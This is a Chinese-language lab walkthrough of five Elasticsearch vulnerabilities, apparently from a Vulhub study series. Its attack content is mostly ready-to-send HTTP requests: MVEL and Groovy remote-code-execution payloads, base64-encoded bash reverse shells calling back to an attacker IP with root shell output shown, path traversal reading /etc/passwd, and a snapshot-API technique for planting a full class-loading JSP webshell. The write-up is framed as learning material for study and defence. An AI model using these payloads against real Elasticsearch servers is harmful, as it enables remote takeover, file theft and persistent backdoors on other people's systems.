Vulhub 漏洞学习之：ElasticSearch

Vulhub 漏洞学习之：ElasticSearch
1 ElasticSearch 命令执行漏洞（CVE-2014-3120）测试环境
2 ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞（CVE-2015-1427）
3 ElasticSearch 目录穿越漏洞（CVE-2015-3337）
4 ElasticSearch 目录穿越漏洞（CVE-2015-5531）
5 Elasticsearch写入webshell漏洞（WooYun-2015-110216）

1 ElasticSearch 命令执行漏洞（CVE-2014-3120）测试环境

jre版本：openjdk:8-jre
elasticsearch版本：v1.1.1

老版本ElasticSearch支持传入动态脚本（MVEL）来执行一些复杂的操作，而MVEL可执行Java代码，而且没有沙盒，利用MVEL通过以下命令直接执行任意代码：

import java.io.*;

new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

1.1 环境安装

docker-compose build

docker-compose up -d

1.2 漏洞利用过程

Payload

{

    "size": 1,

    "query": {

      "filtered": {

        "query": {

          "match_all": {

          }

        }

      }

    },

    "script_fields": {

        "command": {

            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"

        }

    }

  }

该漏洞需要es中至少存在一条数据，创建数据：

POST /website/blog/ HTTP/1.1

Host: your-ip:9200

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 25

{

  "name": "phithon"

}

执行任意代码：

POST /_search?pretty HTTP/1.1

Host: your-ip:9200

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 343

{

    "size": 1,

    "query": {

      "filtered": {

        "query": {

          "match_all": {

          }

        }

      }

    },

    "script_fields": {

        "command": {

            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"

        }

    }

}

1.3 GetShell

GetShell的Payload

POST /_search?pretty HTTP/1.1

Host: 192.168.210.13:9200

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 455

{

    "size": 1,

    "query": {

      "filtered": {

        "query": {

          "match_all": {

          }

        }

      }

    },

    "script_fields": {

        "command": {

            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMC4xMC8yMzMzIDA+JjEgCg==}|{base64,-d}|{bash,-i}\").getInputStream()).useDelimiter(\"\\\\A\").next();"

        }

    }

}

成功GetShell

$ nc -nvlp 2333

listening on [any] 2333 ...

connect to [192.168.210.10] from (UNKNOWN) [192.168.210.13] 48194

bash: cannot set terminal process group (1): Inappropriate ioctl for device

bash: no job control in this shell

root@1e49828c7901:/usr/share/elasticsearch# id

id

uid=0(root) gid=0(root) groups=0(root)

root@1e49828c7901:/usr/share/elasticsearch#

2 ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞（CVE-2015-1427）

jre版本：openjdk:8-jre
elasticsearch版本：v1.4.2

CVE-2014-3120后，ElasticSearch默认的动态脚本语言换成了Groovy，并增加了沙盒，但默认仍然支持直接执行动态语言。

是一个沙盒绕过
是一个Goovy代码执行漏洞

原理参考：

Remote Code Execution in Elasticsearch - CVE-2015-1427 (jordan-wright.com)

2.1 POC构造

lupin和tang3分别提出了两种执行命令的方法：

既然对执行Java代码有沙盒，lupin的方法是想办法绕过沙盒，比如使用Java反射
Groovy原本也是一门语言，于是tang3另辟蹊径，使用Groovy语言支持的方法，来直接执行命令，无需使用Java语言

所以，根据这两种执行漏洞的思路，我们可以获得两个不同的POC。

Java沙盒绕过法：

java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

Goovy直接执行命令法：

def command='id';def res=command.execute().text;res

2.2 环境安装

docker-compose build

docker-compose up -d

2.3 漏洞利用过程

要求es中至少有一条数据，增加数据：

POST /website/blog/ HTTP/1.1

Host: your-ip:9200

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 25

{

  "name": "test"

}

2.3.1 使用Java反射方法绕过沙盒

POST /_search?pretty HTTP/1.1

Host: 192.168.210.13:9200

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/text

Content-Length: 489

{

    "size":1,

    "script_fields": {

        "test#": {

            "script":

                "java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getInputStream())).readLines()",

            "lang": "groovy"

        }

    }

}

2.3.2 利用Groovy语言执行命令

POST /_search?pretty HTTP/1.1

Host: 192.168.210.13:9200

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/text

Content-Length: 158

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

2.4 GetShell

GetShell的Payload

POST /_search?pretty HTTP/1.1

Host: 192.168.210.13:9200

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/text

Content-Length: 257

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMC4xMC8yMzMzIDA+JjEgCg==}|{base64,-d}|{bash,-i}\").getText()"}}}

成功GetShell

$ nc -nvlp 2333

listening on [any] 2333 ...

connect to [192.168.210.10] from (UNKNOWN) [192.168.210.13] 37106

bash: cannot set terminal process group (1): Inappropriate ioctl for device

bash: no job control in this shell

root@270236e1e4d5:/usr/share/elasticsearch# id

id

uid=0(root) gid=0(root) groups=0(root)

3 ElasticSearch 目录穿越漏洞（CVE-2015-3337）

jre版本：openjdk:8-jre
elasticsearch版本：v1.4.4
影响版本：1.4.5以下/1.5.2以下

3.1 POC构造

在安装了具有“site”功能的插件以后，插件目录使用../即可向上跳转，导致目录穿越漏洞，可读取任意文件。没有安装任意插件的elasticsearch不受影响。

3.2 环境安装

docker-compose build

docker-compose up -d

测试环境需要安装了一个插件：elasticsearch-head。

3.3 漏洞利用过程

查看所有已安装的插件：http://your-ip:9200/_cat/plugins
访问已安装的插件：http://your-ip:9200/_plugin/head/
访问/_plugin/head，根据漏洞成因，利用../实现目录穿越。（不要在浏览器中访问）
```
http://your-ip:9200/_plugin/head/../../../../../../../../../etc/passwd
```

4 ElasticSearch 目录穿越漏洞（CVE-2015-5531）

jre版本：openjdk:8-jre
elasticsearch版本：v1.6.0
影响版本：1.6.1以下

注：elasticsearch 1.5.1及以前，无需任何配置即可触发该漏洞。之后的新版，配置文件elasticsearch.yml中必须存在path.repo，该配置值为一个目录，且该目录必须可写，等于限制了备份仓库的根位置。不配置该值，默认不启动这个功能。

ElasticSearch 1.6.0 - Arbitrary File Download - Linux webapps Exploit (exploit-db.com)

4.1 POC构造

漏洞利用需要涉及到elasticsearch的备份功能，elasticsearch 提供了一套强大的API，使得elasticsearch备份非常简单，要实现备份功能。前提是elasticsearch 进程对备份目录有写入权限，一般来说我们可以利用/tmp 或者elasticsearch 自身的安装目录，默认情况下这两个目录elasticsearch 进程都是有写入权限的。

4.2 环境安装

docker-compose build

docker-compose up -d

4.3 漏洞利用过程

新建一个仓库

PUT /_snapshot/test HTTP/1.1

Host: your-ip:9200

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 108

{

    "type": "fs",

    "settings": {

        "location": "/usr/share/elasticsearch/repo/test"

    }

}

创建一个快照

PUT /_snapshot/test2 HTTP/1.1

Host: your-ip:9200

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 108

{

    "type": "fs",

    "settings": {

        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"

    }

}

目录穿越读取任意文件
- 访问 http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
在错误信息中包含文件内容（编码后），对其进行解码即可获得文件

5 Elasticsearch写入webshell漏洞（WooYun-2015-110216）

5.1 POC构造

ElasticSearch具有备份数据的功能，用户可以传入一个路径，让其将数据备份到该路径下，且文件名和后缀都可控。

所以，如果同文件系统下还跑着其他服务，如Tomcat、PHP等，我们可以利用ElasticSearch的备份功能写入一个webshell。

和CVE-2015-5531类似，该漏洞和备份仓库有关。在elasticsearch1.5.1以后，其将备份仓库的根路径限制在配置文件的配置项path.repo中，而且如果管理员不配置该选项，则默认不能使用该功能。即使管理员配置了该选项，web路径如果不在该目录下，也无法写入webshell。所以该漏洞影响的ElasticSearch版本是1.5.x以前。

5.2 环境安装

编译与启动测试环境：

docker-compose build

docker-compose up -d

简单介绍一下本测试环境。本测试环境同时运行了Tomcat和ElasticSearch，Tomcat目录在/usr/local/tomcat，web目录是/usr/local/tomcat/webapps；ElasticSearch目录在/usr/share/elasticsearch。

我们的目标就是利用ElasticSearch，在/usr/local/tomcat/webapps目录下写入我们的webshell。

5.3 漏洞利用过程

创建一个恶意索引文档：

curl -XPOST http://192.168.50.4:9200/yz.jsp/yz.jsp/1 -d'

{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}

'

// BP Payload

POST /test.jsp/test.jsp/1 HTTP/1.1

Host: 192.168.50.4:9200

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0

Accept-Language: en

Connection: close

Content-Length: 228

Content-Type: application/x-www-form-urlencoded

{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}

创建一个恶意的存储库，其中location的值即为要写入的路径。

curl -XPUT 'http://192.168.50.4:9200/_snapshot/yz.jsp' -d '{

     "type": "fs",

     "settings": {

          "location": "/usr/local/tomcat/webapps/wwwroot/",

          "compress": false

     }

}'

// BP Payload

PUT /_snapshot/test.jsp HTTP/1.1

Host: 192.168.50.4:9200

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0

Accept-Language: en

Connection: close

Content-Length: 142

Content-Type: application/x-www-form-urlencoded

{

     "type": "fs",

     "settings": {

          "location": "/usr/local/tomcat/webapps/wwwroot/",

          "compress": false

     }

}

这个Repositories的路径比较有意思，因为他可以写到可以访问到的任意地方，并且如果这个路径不存在的话会自动创建。那也就是说你可以通过文件访问协议创建任意的文件夹。这里我把这个路径指向到了tomcat的web部署目录，因为只要在这个文件夹创建目录Tomcat就会自动创建一个新的应用(文件名为wwwroot的话创建出来的应用名称就是wwwroot了)。

存储库验证并创建:

curl -XPUT "http://192.168.50.4:9200/_snapshot/yz.jsp/yz.jsp" -d '{

     "indices": "yz.jsp",

     "ignore_unavailable": "true",

     "include_global_state": false

}'

// BP Payload

PUT /_snapshot/test.jsp/test.jsp HTTP/1.1

Host: 192.168.50.4:9200

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0

Accept-Language: en

Connection: close

Content-Length: 105

Content-Type: application/x-www-form-urlencoded

{

     "indices": "test.jsp",

     "ignore_unavailable": "true",

     "include_global_state": false

}

路径http://192.168.50.4:8080/wwwroot/indices/test.jsp/snapshot-test.jsp为写入的Webshell。该shell的作用是向wwwroot下的test.jsp文件中写入任意字符串，如：写入success字符。
```
http://192.168.50.4:8080/wwwroot/indices/test.jsp/snapshot-test.jsp?f=success
```

验证是否写入成功

 curl -XGET "http://192.168.50.4:8080/wwwroot/test.jsp"

success

5.4 GetShell

找一个jsp的webshell，密码为：acmd

<%!

class OPERAND extends ClassLoader{

  OPERAND(ClassLoader c){super(c);}

  public Class hack(byte[] b){

    return super.defineClass(b, 0, b.length);

  }

}

public byte[] trace(String str) throws Exception {

  Class base64;

  byte[] value = null;

  try {

    base64=Class.forName("sun.misc.BASE64Decoder");

    Object decoder = base64.newInstance();

    value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });

  } catch (Exception e) {

    try {

      base64=Class.forName("java.util.Base64");

      Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);

      value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });

    } catch (Exception ee) {}

  }

  return value;

}

%>

<%

String cls = request.getParameter("acmd");

if (cls != null) {

  new OPERAND(this.getClass().getClassLoader()).hack(trace(cls)).newInstance().equals(new Object[]{request,response});

}

%>

对JSP的WEBShell代码进行url编码
1. 在线URL编码解码工具-UrlEncode编码-UrlDecode解码在线工具 (jsons.cn)

构造最后的Payload，并利用浏览器写入payload

http://192.168.50.4:8080/wwwroot/indices/test.jsp/snapshot-test.jsp?f=%3C%25!%0Aclass%20OPERAND%20extends%20ClassLoader%7B%0A%20%20OPERAND(ClassLoader%20c)%7Bsuper(c)%3B%7D%0A%20%20public%20Class%20hack(byte%5B%5D%20b)%7B%0A%20%20%20%20return%20super.defineClass(b%2C%200%2C%20b.length)%3B%0A%20%20%7D%0A%7D%0Apublic%20byte%5B%5D%20trace(String%20str)%20throws%20Exception%20%7B%0A%20%20Class%20base64%3B%0A%20%20byte%5B%5D%20value%20%3D%20null%3B%0A%20%20try%20%7B%0A%20%20%20%20base64%3DClass.forName(%22sun.misc.BASE64Decoder%22)%3B%0A%20%20%20%20Object%20decoder%20%3D%20base64.newInstance()%3B%0A%20%20%20%20value%20%3D%20(byte%5B%5D)decoder.getClass().getMethod(%22decodeBuffer%22%2C%20new%20Class%5B%5D%20%7BString.class%20%7D).invoke(decoder%2C%20new%20Object%5B%5D%20%7B%20str%20%7D)%3B%0A%20%20%7D%20catch%20(Exception%20e)%20%7B%0A%20%20%20%20try%20%7B%0A%20%20%20%20%20%20base64%3DClass.forName(%22java.util.Base64%22)%3B%0A%20%20%20%20%20%20Object%20decoder%20%3D%20base64.getMethod(%22getDecoder%22%2C%20null).invoke(base64%2C%20null)%3B%0A%20%20%20%20%20%20value%20%3D%20(byte%5B%5D)decoder.getClass().getMethod(%22decode%22%2C%20new%20Class%5B%5D%20%7B%20String.class%20%7D).invoke(decoder%2C%20new%20Object%5B%5D%20%7B%20str%20%7D)%3B%0A%20%20%20%20%7D%20catch%20(Exception%20ee)%20%7B%7D%0A%20%20%7D%0A%20%20return%20value%3B%0A%7D%0A%25%3E%0A%3C%25%0AString%20cls%20%3D%20request.getParameter(%22acmd%22)%3B%0Aif%20(cls%20!%3D%20null)%20%7B%0A%20%20new%20OPERAND(this.getClass().getClassLoader()).hack(trace(cls)).newInstance().equals(new%20Object%5B%5D%7Brequest%2Cresponse%7D)%3B%0A%7D%0A%25%3E%0A

成功GET Shell